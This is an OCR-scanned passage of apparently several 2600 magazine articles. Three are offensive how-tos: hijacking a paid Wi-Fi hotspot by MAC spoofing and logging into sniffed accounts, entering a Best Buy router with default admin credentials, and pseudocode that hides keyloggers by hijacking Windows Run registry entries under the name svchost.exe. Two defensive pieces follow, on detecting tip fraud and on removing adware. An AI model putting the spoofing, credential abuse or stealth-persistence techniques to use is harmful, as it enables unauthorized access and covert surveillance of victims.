use for l ater. If you're us ing K i smet, re-sort and 
v iew the info of the part icu lar wireless network 
you th ink m ight belong to the provider you are 
try ing to gain access to . Th i s  is important be­
cause you need actual data packets from sub­
scribed users and not just LLC or broadcast 
packets from network equ ipment .  Once you've 
captured enough packets and scoped out the 
avai lable wireless networks you can move on to 
investigat ing what you've found .  

Next ,  we need to find a MAC address of a 
mach ine that is authorized to use the Internet 
connection from the data we've collected . At  th i s  
po in t  if  you 're i n  a major c ity you m ight already 
see complete ly  open networks that al low out­
bound In ternet traffic and are even n ice enough 
to supply an IP to you via dhcp . If so,  great . If 
not, find the packet dump from Kismet or another 
packet capture program and open it for v iewing .  
Ethereal can be very helpfu l  here as i t  has a very 
nice browser for l ooking at packets and an in ­
credible breakdown of  every l ayer. I t  w i l l  present 
th i s  info in  easy to read expandable menus .  What 
you are look ing for here i s  someone who has al­
ready paid for serv ice and i s  us ing the w ireless 
connect ion . Th i s  i s  where those data packets w i l l  
come i n  handy. I l ike t o  start w i th the A R P  pack­
ets because they always sort to the top eas i ly  and 
give me lots of information about what addresses 
are on the network . However, any data packet on 
the same network w i l l  work . Choose one of these 
packets , expand the layer 2 information ( IEEE 
802 . 1 1 in th i s  case ) ,  and look for the source ad­
dress (MAC) . You ' l l  need to find a M AC of a de­
vice that is not the default route and hopefu l l y  
n o t  some other network dev ice . I n  order t o  make 
sure the device i s  what you want , try to find other 
packets from the same source IP or MAC and 
verify that i t  i s  a real customer. You can eas i l y  
i dentify th i s  from the porn web surfing or  various 
chat networks .  You ' l l  probably even see some 
passwords in  there from various authentication 
attempts .  Being the curious but responsib le 
people we are, we wi l l  login to these accounts 
and let them know that they should change the ir  
password to nothi ng, s ince a b lank password 
would be almost as secure . I suppose you could 
a lso simply leave them alone to wal low in  the i r  
ignorance . 
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Now that you have a MAC address you be­
l ieve w i l l  prov ide you with the access you seek,  
you ' l l  need to borrow i t  for a l itt le wh i le ,  Th i s  i s  
where M A C  spoofing comes i nto play. We need 
to change our hardware address to match that of 
the person who is already authorized . In L inux 
th i s  i s  a very s imple th ing to  do. I ssue the com­
mand: " i fconfig INTERFACE_NAME hw ether 
MACADDRESS"  wi th INTERFACE_NAME 
being the name of your  wireless i nterface and 
MAC_ADDRESS the new MAC address you 
wish to spoof. See google for other operating 
systems on how to do th i s .  After you verify that 
your changes have taken you' ll need to connect 
to the w ireless network you wish to gain access 
to . Thi s  can vary across p latforms and hardware 
so see your hardware's and driver' s documenta­
tion for information on that . F i nal ly,  run a dhcp 
c l ient to request an IP address for the wireless in ­
terface .  I t  should respond immediate ly and you 
should notice that you now have the same IP as 
the host you wish to spoof. Ping the default  gate­
way and verify network connectiv i ty .  Congratu­
lat ion s ,  you're now able to send out packets that 
appear to be coming from the same host! Keep 
going onto the next section even if the ping does 
not work . Some systems do actual ly  b lock ICMP 
to the  defaul t  route . You may try p inging some 
other host you noticed from your earl ier scans to 
do addit ional verificat ion . 

At th i s  point  you are break ing a major TCP/IP 
commandment .  Thou shalt  not have the same I P  
or hardware address i n  the same broadcast net­
work w i thout suffering a bloody byte batt l e .  
B oth  you and your target w i l l  now be batt l ing i t  
out for the rights t o  those addresses . The great 
th ing about Linux is that it w i l l  just  keep on 
chugging even if it sees someone with the same 
hardware or IP  address .  Most M$ p latforms 
aren ' t  as lucky. Some may even shut down their 
stack i f  they detect IP  col l i sion .  Try to browse to 
something fast ,  google .com for example .  This 
w i l l  test  if  you have grabbed the ident i ty of a ma­
chine that i s  a lready authorized to use the I nter­
net .  If the s ite comes up then you're " in the butta 

zone baby . "  You may get a blank or t imed out 
page on the fi rst try. Keep i n  mind that both ma­
ch ines w i l l  be receiv ing packets from each 
other's network connection requests . Each ma­
chine w i l l  be confused by the answer from con­
nections they never asked for. When th is  
happens ,  you' l l  see the other host  reset your con­
nections for you . Just keep try ing unt i l  you get 
something though . Sometimes i t  works right 
away, someti mes i t  takes a few reloads .  If the lo­
cal auth page comes up ,  then there coul d  be sev­
eral i ssues . It 's possible they have not yet 
authorized their connection , or they decided not 
to after reading the terms and avai lable p lan s ,  or 
maybe their connection has already t imed out . 
You have a couple of choices here :  You can e i ­
ther wait and see i f  they do authenticate or try an­
other MAC address you bel ieve that m ight have 
access .  

N o w  that you've seen i t  work , j u s t  g ive the 
connection back and find a free wireless connec­
t ion somewhere . There are plenty of those 
around . Otherwise you ' l l  be fighting for the con­
nection unt i l  one of you gives up. I found that 
protocol s  l i ke web or icmp w i l l  work wel l  even 
with address col l i s ion ,  but pers i stent connec­
t ions ,  l i ke ssh or ftp , have a lot of trouble .  This 
example is  meant to demonstrate the issues of us­
ing a publ ic hardware address as the main au­
thentication mechan ism on a wireless network . I t  
i s  qu i te easy to perform a den ial of  service on the 
authorized mach ine at th i s  point  in order to win  
the  conflict , but that i sn ' t  the  in tent of th i s  art ic le .  
There are several th i ngs that might make these 
systems more secure . The difficu l ty here is the 
identi fication of a part icu lar mach ine .  It ' s  obvi­
ous that MAC address i sn ' t  going to work as a 
un ique identi fier. A complete ly different ident i fi­
cation mechan i sm needs to be se lected or another 
l ayer of authentication needs to happen on a 
more regu lar bas i s .  

As always ,  p lease u s e  information respons i ­
b ly ,  remember that knowledge is  power and 
those that abuse power do not deserve knowl ­
edge . 

.. est .... iS Uber Insecurity 
by skilar 

skilar@Iinux.net 

As consumers , most of us are fam i l iar w i th  
Best  B uy .  As hackers , most  of u s  are fami l iar 
w i th the i nsecuri t ies of w i reless routers and net­
work s .  Thi s  art ic le  w i l l  describe the combina­
t ion of the two and how that m ixture i s  to Best  
B uy ' s  d i sadvantage . 

M i n t e r  i! O O Il - i! O O S  

Getting Around the Best Buy Interface 
So you are on one of the l aptops in Best  Buy  

but all you can  use i s  tha t  pesky thing I l ike to  
ca l l  t he  " Best B uy I nterface . "  You can  browse 
some products , get information about the parts 
of a computer, and bas ical l y  do anyth ing but 
mess wi th  Window s .  This i nterface is ex tremely 
easy to escape from and i s  v i rtuall y  useless in  

P a g e  ], 3  



protect ing anyth ing on the computer. A l l  it took 
was a l i t t le messing around in the i nterface to 
fi nd out that i n  the top-right of the screen there 
were s i x  l etters that you cou l d  c l i ck  on . Th is  
would m i n i m ize the i nterface and g ive you fu l l  
access t o  that mach ine . 

Getting Access to the Web 
Once I had access to the ent ire box , I de­

c ided that some exploring was in order. first I 
t i red up I nternet Explorer. The homepage , ema­
chines .com , didn't load but  brought up an error. 
No other pages would load e i ther. I doubled 
checked that the machine had a w i re less card 
and that it was connected to the network , which 
i t  was . The th ing I d idn ' t  know however was 
why I couldn ' t  access the I n ternet . 

To figure th is  out ,  I opened up emd .exe and 
ran ipcontig .  Th is  brought back the fol lowing 
data: 
C:\Documents and Settings\BestBuy> 

-ipconfig 

Windows IF Configuration 

Ethernet adapter Wireless Network 

-Connection: 

Connection-specific DNS Suffix . : 

IP Address. • . 192.168.0.104 
Subnet Mask • . . • • .  : 255.255.255.0 
Default Gateway . . . .  : 192.168.0.1 
C:\Documents and Settings\BestBuy> 

After see ing th i s ,  I was pos i t ive that the ma­
ch ine was actual l y  connectcd to Best Buy 's  

w i reless network and that i t  shou ld be able to 
access the Internet . 

Messing With the Router 
S i nce I knew I should have access to the In ·  

ternet ,  I thought that perhaps the  problem was a 
sett ing i n  their router. I n  I E  [ entered the defaul t  
gateway address , o r  1 92 . 168 .0 . I .  After press ing 
enter, a basic authentication box popped up  w i th 
the " U ser Name" and " Password "  input fie lds . 
Natura l ly ,  I entered " adm i n "  and the user and no 
password . Amazing ly ,  Best B uy had not 
changed the password on their router and I was 
presented w i th the router' s admi n i strative page . 
As [ toyed wi th  their settings I noticed some 
b locked port s ,  w i th 80 being inc luded . Thi s  was 
the source of lily prob lem .  I unblocked al l of the 
ports, and then I was granted access to the I n ter­
net . 

Final Thoughts 
Wireless networks are i nsecure in general , 

but  one wou l d  th i n k  that a company l ike Best  
B uy would actual l y  have changed the password 
on their router. Th i s  jus t  reinforces the fact that 
anyone's network coul d  be i n secure ,  even l arge 
corporat ion s .  Thanks  to Sh ift788  for check ing  
th i s  ou t  i n  a second locat ion . 

Greetz :  yel/og , I03rrOr, koh.\' , eddie , and the 
NixSec crew. 

Auto-Run Programs for 
Improved Stealth 

by Forgottcn247 which I w i l l  covcr hcre . They w i l l  prevent de-
ane of the biggest problems w i th stealth tect ion even by the cautiously paranoid .  In the 

programs such as keyloggers , data col lect ion interests of space and fam i l iarity, everyth ing i n  
agents , or a n y  other typc of app l icat ion that you this art ic le  w i l l  be wri tten to apply to the Win-
lIlay want runn ing undetected on a system is  dows operating systems ,  a l though the  tech-
that they are easi ly  v i s ib le  to people who know n iques would work just as well on other 
what to look for. Check ing  the runn ing platforllls .  
processes l i st is  a common way t o  see what may The first i tem we need to address i s  that the 
be watch ing  you . There arc a lso plenty of ut i l i - program shou ld n o t  easi ly  stand o u t  in  t h e  l i st o f  
t i e s  that w i l l  monitor changes to t h c  system runn ing processes.  Names l i ke " keystroke 
startup and al ert you if any new programs arc -spy.exe" should be out of the quest ion . I t  
insta l led , and i n  the Windows world a qu ick  shou ld  a lso not  be runn ing under an account 
chcck of a few rcg istry keys w i l l  show every- that looks suspic ious, such as " G U EST" . Thc �hing that  launches on startup .  second th ing to be carefu l of is  that  the insta l l a-

Bascd on th is  thcre are

.

a fcw th ings that arc tion of the program shou ld not a l ler the system 
cr itical to kecp ing a program h idden, two of setti ngs which could trigger an alen or detection 
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through the Add/Remove programs or System 
Restore . Thi s  i n stal lat ion should al so be pers i s ­
tent so the program w i l l  launch each t imc the 
system i s  s tarted . 

Faced w i th these chal lenges and an under­
standing of the Windows OS , a program could 
be i n stal l ed to run at system startup and h idden 
as a val i d  appl i cation w ithout mak ing regi stry 
or system changes that would be detectabl e .  To 
do thi s  we w i l l  h ide th i s  stealth program under 
the name of an appl i cation that i s  al ready in ­
stalled and configured to launch at startup .  

Doing thi s  w i l l  accompl i sh  a l l  of the  i tems 
of concern above . I t  wil l  not stand out i n  the 
process l i st because i t  w i l l  be runn ing  w i th a 
name of a process that was already i n stal led .  I t  
w i l l  a l so be runn ing  under the " SYSTE M "  ac­
count which w i l l  not seem uncommon , and no 
changes to the regi stry, addlremove programs , 
or System Restore w i l l  be v i s ib l e .  

I n  order to d o  th i s ,  two changes t o  your ap­
p l ication need to he made , a h ijack ing funct ion 
needs to be added to d i sgu i se the program and 
make sure it w i l l  re load after each rehoot , and 
an i n i tia l i zation funct ion needs to be added to 
launch the program which was h ijacked to mask 
the i nstal l at ion . For example ,  i f  we h ide our 
key logger us ing an already ex i st ing autorun in­
stallation of a mouse u t i l i ty which has an icon 
on the taskbar i t  would rai se suspic ion i f  the 
mouse ut i l it ies  icon stopped load ing .  By  load­
ing the mouse u t i l i t ies  after our key logger i s  
l oaded there i s  no v i s ih le  d i fference t o  the sys­
tem's  u sers . 

Below i s  h igh-level pseudocode which can 
he i mplemented in any language for these two 
funct ions :  

1 BEGIN FUNCTION hijackAutoStart 
2 
3 for each item in HKEY LOCAL. MACHINE \ 
-SOFTWARE \Microsoft \ Wind-;;ws \Cu;'entVersion \Run 
4 extract path and file name from Data 
-segment of key 
5 if path does not start with He: \ windows " 
"or "c:\winnt" or "c:\winxp" 
6 rename file name indicated in Data 
-segment of key to "svchost.exe" in path from 
-Data 
7 if rename was successful 

copy utility to be hidden to 
-location specified i.n Data segment of key 
9 exit for loop 
10 end if 
11 end if 
12 end for 
13 
14 END FUNCTION 
15 
16 BEGIN FUNCTION initializeUtil 
17 
18 set variable ISAUTORUN = FALSE 
19 
20 for each item in HKEY __ LOCAL_ ftJACHINE\ 
-SOFTWARE \Nicrosoft \ Windows \ CurcntVcrs.i on \Run 
21 it" Data segment of current key 

-location utility was launched from then 
22 set ISAUTORUN = TRUE 
23 exit for loop 
24 end if 
25 end for 
26 
27 if ISAUTORUN = FALSE then 
28 call hijackAutoStart 
29 else 
30 start process "svchost.exe" from current 
-directory 
31 end if 
32 
33 call mainProgram 
34 
35 END FUNCTION 

As you can see the in i t i a l i zat ion funct ion 
from 1 i nes 1 6  to 35 check to see if  the program 
is already in a h ijacked state hy comparing al l  
the keys i n  the Windows aulorun locat ion i n  the 
regi stry to where the program i tse lf was 
launched fro m .  The cal l on l ine 2 1  would deter­
mine  if the launch of the uti l i ty was due to it a l ­
ready heing i n stal l ed i n  which case i t  doesn ' t  try 
to i n stal l i tse lf again ,  but i f  i t  i s  not runn ing 
from that l ocat io'n it w i l l  start the h i jack ing .  
Then on l i ne 30 we see i t  cal l i ng the  process 
" svchost .exe "  in the current d i rectory. This is 
the program that was supposed to he launched 
which our program is h idden as . The name " sv­
chost .exe" was chosen because this i s  a com­
mon Wi ndows process which typical ly  has 
mUlt ip le i nstances i n  the process l i st and one 
more won't  stand out. Th i s  name can be 
changed to anyth ing as long as i t  i s  the same on 
l i ne 6 and 30. The ca l l  on l in e  3 3  to mainPro­
gram should point to the hody of your program . 

The h ij ack ing function , l i nes 1 through 1 4 , i s  
where t h e  program assumes t h e  identity o f  one 
of the programs that Wi ndows automatical ly  
launches when i t  loads .  The " i f" c l ause on l i ne 5 
is not mandatory, hut it w i l l  bypass attempt ing 
to h ide as any programs l aunched from standard 
OS i n sta l l  d i rectorie s .  Th i s  check is a safety 
measure because these processes arc most l i kely 
going to he locked and renaming the ti le  would 
not be succcssful and may he harmfu l  to  the 
system in  the long run . The l i st of d i rectories  
shou ld  he expanded to any  other OS i n stal l lo ­
cat ions or system paths you wou ld  not  want  to  
attempt the  i n sta l l  i n .  The  rename check on l i ne  
7 i s  crit ical to success hecause i f  the fi l e  i s  
locked and t h e  rename i s  unsuccess fu l  the copy 
attempt on l i ne X w i l l  not work and the ut i l i ty 
w i l l  not successfu l l y  he instal led . 

Beyond th i s  i mplemcntation there is a lot of 
potent ia l  for expansion . For instance, the h i ­
jack ing fu nction should he expanded to detect if  
the Data segment of the regi stry key has any ar­
guments ,  and if  so you need to decide if  you 
want to i gnore h ijack ing that  cOlllmand 



and move to the next one . It cou ld  also be 
changed so that the i n i t ia l i zation funct ion w i l l  
pass those arguments t o  the c a l l  i n  l i ne 30 . 
This  can a lso be expanded so that if it i s  
unsuccessfu l  in  h ijack ing anyth ing from the 
system autorun  keys i t  would check the autorun 
keys for the current  user by app ly ing the same 
logic to H K E Y  _C URRENT _USER rather than 
H KEY _LOCAL_MACH I N E .  

b y  Anonymous Author MD5: 
d03d3293cd954af6bccd53eac5d828fc 

I n  case you hadn' t  noticed , cred i t  card fraud 
is al l the rage these day s .  Th i s  is not just  for 
cred i t  card cri m ina ls  and organ ized cr ime;  i t  
goes al l the way down t o  common clerk s ,  wait­
ers , and bartenders . In fact ,  perhaps the most 
common p lace to become a v ic t im of credi t  card 
fraud is not when buy ing th ings off ThinkGeek 
or Amazon , but i n  p laces l i kes bars and restau­
rant s .  In efforts to avoid being overcharged at 
these p laces I developed an i nterest ing tr ick 
drawing  from steganography (the art of encod­
ing a message ins ide of a larger message ) .  A l ­
though I ' l l  talk a lo t  about t ipp ing i n  bars and 
whatnot , th i s  art ic le i sn ' t  about t ipp ing . It i s  
about covert encod ing o f  extra information i nto 
month l y  cred i t  card statements , and w i l l  work 
for any cred i t  card transact ion . But conve­
n ient ly ,  this technique can be elegantly appl ied 
to t ipp ing in bars and restaurants  where perhaps 
i t  is also the most practical l y  u sefu l .  

After you have fin i shed your meal at a 
restaurant and g ive your cred i t  card to the 
wai ter, know that upon gett i ng  your card back 
w i th the receipt you actual l y  haven't been 
charged yet. Th i s  is why you don 't  see a sepa­
rate charge for the tip whenever you opt to also 
put that on your card . What happens  is  the 
waiter fi rst scans the card and verifies that the 
account  i s  i ndeed val id ,  and then return s  the 
card and receipt to you . When you have s igned , 
the wai ter goes back to the mach ine and charges 
your card for the meal along w i th any t ip  you 
m ight have left .  Though occas iona l ly the cost 
for a meal itself i s  checked against  the restau­
rant ' s  computer, the only thing that prevents the 
amount of tip from being on the honor system is 
your copy of the s igned receip t  (of wh ich  most 

Th i s  type of h ijack ing i s  typica l ly  very 
successfu l  and i t  i s  easy to i mplement i n  most 
l anguages . I t  would take less than ten m i n utes 
to code i n  C++ , Visual Bas ic , or Perl based on 
the above logic , and the enhancements are al so 
qu ick to p lug in to the framework . Those ten 
m i n utes may make or break the success of your 
steal thy app l icat ion . Good l uck , and happy 
h ijack ing .  

are just  thrown away ) .  As  you  can  tel l ,  thi s  i s  a 
s i tuation jus t  begging to be abused , and it often 
i s .  

A strategy t o  avoid t h i s  I (and many others) 
have come up with is s imply  to engineer your 
tips so that the final charge for the meal a lways  
comes i n  an unusual constant ( say someth ing  
l i ke 17  cents ) .  A l though th i s  i s  a good start , i t  i s  
fragi l e  and the " secret number" qu ick ly  be­
comes very obvious to any staff when you regu­
larly pay with your card . Though weak , th i s  
very common idea of us ing  a constant for the  
cents  stops just  short of a far better techn ique 
that works qu i te wel l .  

The Technique 
I f  you recal l  your l ast  month l y  credi t  card 

statemen t ,  i t  l i sts three fields for each charge : I )  
the date of charge , 2 )  the company/vendor's 
name , and 3 )  (obvious ly)  the amount of the 
charge . What we could do i s  make the cents in 
the charge a funct ion of one of these values so 
we could qu ick ly  verify them on the monthly 
statement .  For example ,  i nstead of mak ing the 
final charge end i n  some magic  constant ( i  .e . ,  1 7  
cents ) ,  we cou ld dynamical l y  generate the cents 
as a funct ion of the vendor's name and then see 
i f  i t  matches up. Though c lever, using the ven­
dor' s name doesn ' t  buy us  anything that a con­
stant wouldn't because you ' l l  s t i l l  a lways be 
ending up wi th  the same cents value i n  the total 
every time you go to a bar you frequent . Making 
the cents  a function of the date i s  al so an idea,  
s ince you're not very l i ke ly  to go to a part icu lar 
p lace on on ly  a certai n  day of every month (and 
even if  you do for some freak reason , you're not 
going often enough to be remembered by the 
staff) . This idea i s  pretty good and worth ex­
plori ng ,  but not i deal. Last ly ,  al though i t  does 
not provide as much randomness as the date , us-
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i ng  the amount of the charge i tse lf when gener­
ating the n umber of cents has a very n ice effect 
of doing much stronger check ing for fraud ; th i s  
i s  not obv ious  at first g lance so more on th i s  
later. I n  short , i ns tead of us ing a constant for the 
cents  value ,  by del i berate ly  eng ineering your  
t ips  so that  thc cents  value of  the total charge i s  
somehow related to the date or to the charge i t ­
se lf has great advantages for d iscreet ly catch ing 
credi t  card fraud whi le  tak ing a lmost  no addi ­
t ional  effort when calcu lat ing the total . 

Bu t  enough w i th discuss ion . To focu s  on the 
more compl icated overcharge protect ion af­
forded by us ing the charge itself, i n  th i s  exam­
ple we' l l  i gnore any addit ional  usage of the date 
to i ncrease the difficulty of your scheme being 
figured out. Here's what to do next time you use 
a credi t  card at a bar or any p lace where you can 
put a tip on your credi t  card . 

I .  Give the wai ter your card . 
2 .  Wai t  for the receipt  to come back (you 

haven't  been charged yet) . 
3 .  Say the cost for the meal is $ 1 2  • 3 4 .  What 

we want to do is engineer the tip so that the tina l  
charge h as the dol l ars' va lue encoded into the 
cents . Here , we' l l  u se the s imple encod i ng of 
"For D dol l ars the cents should be D+ I " .  So ,  
say  we wan t  to l eave approx imately a $ 2  t ip . 
That means the fina l  charge' s  doll ar amount w il l  
b e  $ 1 4 .  So ,  s ince we're encoding cents o f  the fi­
nal  charge as { #  o f  dol lars } + 1 ,  the final  
charge would be $ 1 4 . 1 5 .  So the t ip  wi l l  be :  
$ 1 4 . 1 5 - $ 1 2 . 3 4 =}  $ 1 . 8 1 .  

4 .  Fol low th is  same scheme anytime you 
have the option of t ipping with your card . 

5 .  When you get the month's statement ,  
quick ly  scan through the l i s t  of charges looking 
for any i nstances i n  which the cents  don' t  equal  
{ #  of  dol lars } + 1 .  

6 .  I f  y o u  see a charge from a place where 
you can tip and the cents don't  add up , you 
know the charge i s  fraudulen t .  Note that if on ly  
us ing the secret-constant or date method , you 
would only be alerted to tampering  w ith the 
cents v al ue .  A check u s i ng { #  of do l l ar s } 
is much , much better as it protects agains t  tam­
perin g  w ith both the dol lars and the cents val­
ues. (And rea l l y, aren ' t  dol l ars more important 
anyway?) 

Other (and better) Variations 
Just  saying Cents = #Do11ars + 1 is cer­

ta in ly not the on ly th ing you can do , far from i t .  
In  fact ,  i t ' s  probabl y  a bad idea to use something 
as s implist ic as that . Though rea l i st ica l l y  i t ' s  un­
l i kely anyone but  your mathematic ian dri nk ing 
buddy (who unbeknownst to you a l so jus t  hap­
pens to be working  for the NSA)  would pick up 
on something as obvious as the #Do l l ars+ 1 

ru l e ,  mak ing it more compl icated (and secure)  
rea l ly  doesn ' t  take any extra e ffort . Bes ides ,  
your waiter m igh t  read 2600 . Anyway, you  can 
just as eas i l y  use one of these more secure 
schemes :  
* Cen t s  = #Day ( 1 - 3 0 )  

* Cen t s  = #Day + N 

Using b i t s  of the date is easy because they're 
always printed on the receipt you s ign . Al­
though dates vary enough that no one w i l l  l i kely 
figure out a schema based on them,  w ithout us­
ing #Do l l ars somewhere you sti l l  on ly  get 
alerted to cents tampering .  
* Cen t s  = #Do l l ars + N 

* Cen t s  = #Do l l ars - N 

In the case of #Do l l ars - N ,  you can deeide 
for yourse lf  what you want to do when N } 
#Do l l ars . I personal ly  l ike u s i ng the absol ute 
value of negat ive numbers rather than cyc l ing  
back to 1 00 .  
* Cen ts 

* Cen ts 

#Dol l ars +/- #Day 

#Do l l ars +/- #Mon th ( 1 - 1 2 )  

* Cen ts #Dol l ars * #Mon th 

* Cen t s  % 3 0  = #Do l l ars +/- N 

* Cen t s  % 3 0  = #Dol l ars +/- #Day 

* Cen ts % N = #Dol l ars +/- #Day +/- N 

Using Cents  % N i s  n ice because i t  lets  you 
exerc i se fi ner granularity in t ips . 

Real ly ,  you  can make the  function mapping 
onto the cents  as comp l icated as you wan t .  
Everyone being  ab le  to u se  their own personal 
variation of th i s  idea is very nice because even 
if,  overnight , everyone started us ing such a sys­
tem you'd st i l l  be protected because no one 
could casual l y  determi ne wbat algorithm you 
personal ly use. And, regardless of how comp l i ­
cated your  algorithm is,  going over your state­
ment once a month is st i l l  sure as he l l  easier 
than keeping up w ith al l those damn receipts . 

Shortcomings 
I ' m  fu l l y  aware people use credit  cards for 

things where you don't  t i p .  Deal . I n  such s itua­
t ions ,  I 've had some success i n  s imply  asking to 
be charged a few extra cents more for an i tem,  
but  i t ' s  u sua l l y  no t  worth confus ing the  tel lcr i n  
wondering w h y  on earth  someone would want 
to pay more for someth ing .  Hotel elerk s ,  al­
though somewhat curious ,  don't  seem to have 
too much troub le  with th i s  concept and w i l l  
general l y  d o  a s  asked . Wal -Mart checkout 
drones are usual l y  helpless when confronted 
wi th such s trange notion s .  But ,  even with th i s  
shortcom ing ,  bars and the  l ike are common 
everyday expendi tures and have some of the 
h ighest probab i l i t ies  for fraud . So ,  any  protec­
tion there is worth employ ing ;  some security i s  
better than none . 
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Closing Remarks 
For i n terest ,  I've been us ing th i s  system for 

about a year and to my surpri se I actual l y  
haven ' t  caught a n y  fraudulent charges w i t h  i t  
yet . I th ink  perhaps the i ncessant strange t ips  
and total s I leave make people more cautious 
than usual , or maybe I j ust hang out i n  more 
reputable p laces . Last ly ,  as th i s  i s  2600, I could-

n ' t  poss ib ly  end this art ic le  w i thout at least tan­
gent ial l y  mention ing that if  you're concerned 
about  protect ing whatever bits of privacy you 
have from corporations and government agen­
c ies  (PATRIOT, etc . ) ,  you  should avoid us ing 
credit  cards at a l l  - cash real l y  i s  your friend . 

Shoutz to yak .net and to Emmanuel /fir hold­
inR The 5th HOPE /fir us all. 

Ad-Ware : 

The Art of 
by Patrick Madigan 

Working  at a computer repair store where 
people bring in PCs for anyth ing  from a s imple 
memory upgrade to the most compl icated data 
recovery, I th ink  i t ' s  OK to say that I have seen 
the condi t ion of a majority of personal comput­
ers . As  you may or may not know, i f  you get 
caught by a v i rus or i f  your hard drive ever 
crashed there i s  some software out there to he lp 
you fi x your spcci fic nccds , c i thcr for data rc­
covery or ant i -v i ru s .  But  another major com­
puter problem has v i rtual l y  no one s ingle repai r  
tool : ad-ware . C lose  to half of a l l  the  computers 
that pass through the shop contain some form of 
advcrt i scmcnt annoyance stored on the person ' s  
d i sk  w i thout them even knowing :  and who 
would? Most  of the software i s  secretl y  down­
loaded . or bundled in an instal l  ti l e ,  and secret ly 
executed i n  the background when the computer 
turns on . Without some knowledge of the reg­
i stry, a user data fi le  that conta ins  v i tal system 
informat ion l ike program locat ions and what to 
load when thc computer turns on , most people 
wouldn ' t  even know where to look to find and 
d i sable these annoyances .  Thi s  Jesson on com­
puter power usage should give you the too ls  and 
knowledge to c lean your system to proper 
working order and also a better understanding 
of how the computer works .  

Let's fi rst assume that you  have ad-ware or  
some other performance b lock on your  mach ine 
and you want  to fi nd i t  and remove i t .  You w i l l  
need t o  download some free software from the 
I nternet that w i  I I  hel p you locate and remove 
these programs . There arc a few programs that 
seem to have the same purpose and they are best 
uscd together. Redundancy i s  the best pol icy 
when us ing ad removal software because what 
one program passes over the other w i l l  p ick up .  
A n  important t h i ng  to  remember i s ,  i f  poss ib le .  
they  shou ld  be  configured to work together, not 

agains t  each other. If you can connect to the In­
ternet then sk ip down pas t  th i s  next  section . 

If you know you arc connected to the In ter­
net but are hav ing trouble v iewing web pages or 
a strange home page has appeared and won't  let  
you go anywhere , then you probab ly  have a host  
fi le type of h i j ack . The host fi l e ,  l ocated i n  
C :\wi ndows\system32\drivers\etc , i s  a l ocal 
I n ternet phone book that l i sts certai n  I P  num­
bers to specitic  web addresses . There should 
on ly  be one entry i n  th is  fi le un less you have 
spec ifica l ly  put someth ing e l se i n  there . The 
on ly  l i ne i n  there should be , w ithout quote s ,  
" 1 27 .0 .0 . 1  local host" . These entries can  point  
you i n  the wrong d i rection to a web page . A pro­
gram cal led CWShredder (sec below) w i l l  auto­
mat ical l y  c lean most i nval id entries in there i f  
y o u  arc unsure a s  t o  what should b e  there . Fur­
ther troubleshooting m ight requ i re a hardware 
rep lacement or some other software problem 
that  can ' t  be resol ved wi th th i s  art ic le .  If  you 
would l ike to troubleshoot th i s  connect i v i ty 
problem yourself, have a look at M icrosoft 
knowledge base art ic le  n umber 24 1 344 . 

When you get on l ine or if you have another 
computer that i s  connected to the In ternet and a 
way to transfer fi les  to the broken computer, 
l ike a CD burner, then you can navigate to the 
fol lowi  ng l ocations or type the name of the pro­
gram in Google  and it w i l l  take you there : 

Ad-Aware 
www.lavasoft.de 

Home of Ad-Aware , one of the best spy­
ware detect ion and removal tool s .  Download 
the newest vers ion of the program and don't for­
get to download the newest reference fi le so the 
software can remove the most current ad-ware . 

SpyBot Search & Destroy 
www.safer-networking.org 

S&D can c lean up some extra th ings that 
Ad-Aware doesn ' t  li nd . Remember to check for 
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updates and check out a feature cal l ed 
TeaTimer. Thi s  program moni tors the system 
preferences l i ke home pages and toolbars and 
w ill prompt you i f  they are to be changed . 

After us ing Ad-Aware and SpyBot S&D you 
shoul d  have c leaned up around 99 percent of the 
problem . These two programs do an awesome 
job together. Continue to use the rest of these 
programs to complete ly  r id your computer of 
junk .  

HiJackThis 
H iJackThi s  i s  a more advanced tool . It a l ­

lows you to d i rect ly delete B HO's (browser 
toolbars and pop-ups ) ,  and c lean up the system 
startup l ocat ion s ,  but  be careful as deleting the 
wrong th ings i n  th i s  program m ight make some 
software not funct ion properly. I t ' s  a good i dea 
to post the l i st on a support s i te and allow pro­
fessionals to assist you . S ince they are g iving 
you a free service you should be pol ite and re­
spectfu l  and ,  most of a l l ,  patient .  

CWShredder 
CWShredder i s  a qu ick automat ic u t i l i ty  that 

removes browser relocating pages and variants 
of the Coo lWebSearch h ijack .  H ave no fear us­
ing thi s  great l i tt le  too l .  

Norton Anti-Virus 2005 
www.symantec.com 

Normall y  virus removal programs work to 
keep your machine free of mal ic ious v iruses , 
but  some of these ad-ware programs border on 
being a v i ru s .  Despite th i s ,  Norton has the abi l ­
i ty to remove most ad-ware when the newest 
virus definit ion l i s t  i s  i nstal led . A l so i t  has a 
strong ant i -virus feature and the new I nternet 
Security 2005 comes bundled complete wi th  
firewall ,  ant i -spam , ad-ware removal , and ant i­
Viru S .  

Bum all these programs and the l atest up­
dates , patches , and reference fi les  to a d i sk  and 
i nstall them on the broken machine .  Reboot the 
machine and start u p  in  safe mode . Safe mode 
will allow you to bypass all the startup pro­
grams ,  which is where most of the ad-ware 
loads from , and work with the ad removal soft­
ware that w i l l  c lean them up wh i le  they are not 
running . To get into safe mode tum off your 
computer then tum it back on . D i rectly after the 
memory check or the manufacturer 's sp lash pic­
ture displays  but before the Windows load ing 
screen comes on , tap F8 repeatedly .  Remember: 
In safe mode you won't have access to the cd­
rom or floppy, just so you don't thi nk  your ma­
chine is broken .  If  you need to access your 
cd-rom drive but  sti l l  bypass the startup fi les use 

cause Windows doesn ' t  al low you to delete a 
program that i s  runn i ng i n  the background . If 
you are try ing to delete a file and for whatever 
reason it won't delete , chances are the fi le  i s  run­
n ing .  Press CTRL-ALT-DEL and see i f  it 's a run­
n ing process and , if so ,  end it . Then try the 
delete again .  

I f  your computer i s  severe ly  infected you 
might have to manual l y  skip over all startup 
fi les in order to have any access to the computer. 
To sk ip  the startup fi les you can use a tool to 
read the spec ific part of the regi s try where the 
startup fi les are l ocated . To run this program go 
to start - run then type " m sconfig"  wi th  no 
quotes .  M sconfig is used to temporar i ly  d i sable 
startup i tem s .  If you want to manual l y  and per­
manently delete the i tem open " regedi t "  and 
navigate to:  (be carefu l ! Damag i ng the regi s try 
w i l l  break your PC ! )  HKEY_CURRENT 

- USER \ Software \ Mi crosoft \ Wi n dows \ 

- Curren t Vers i on \ Run 

Ins ide the " R u n "  key i s  a l i st of programs.  
C l ick  to h igh l ight and then press delete . The 
other location i s :  
HKEY_LOCAL_MACHINE \ Softwa re \ Mi cro 

- s oft \ Wi n dows \ Curren t Vers i on \ R un 

After they al l  have been run and you are 
confident you have a mach ine that is runn ing 
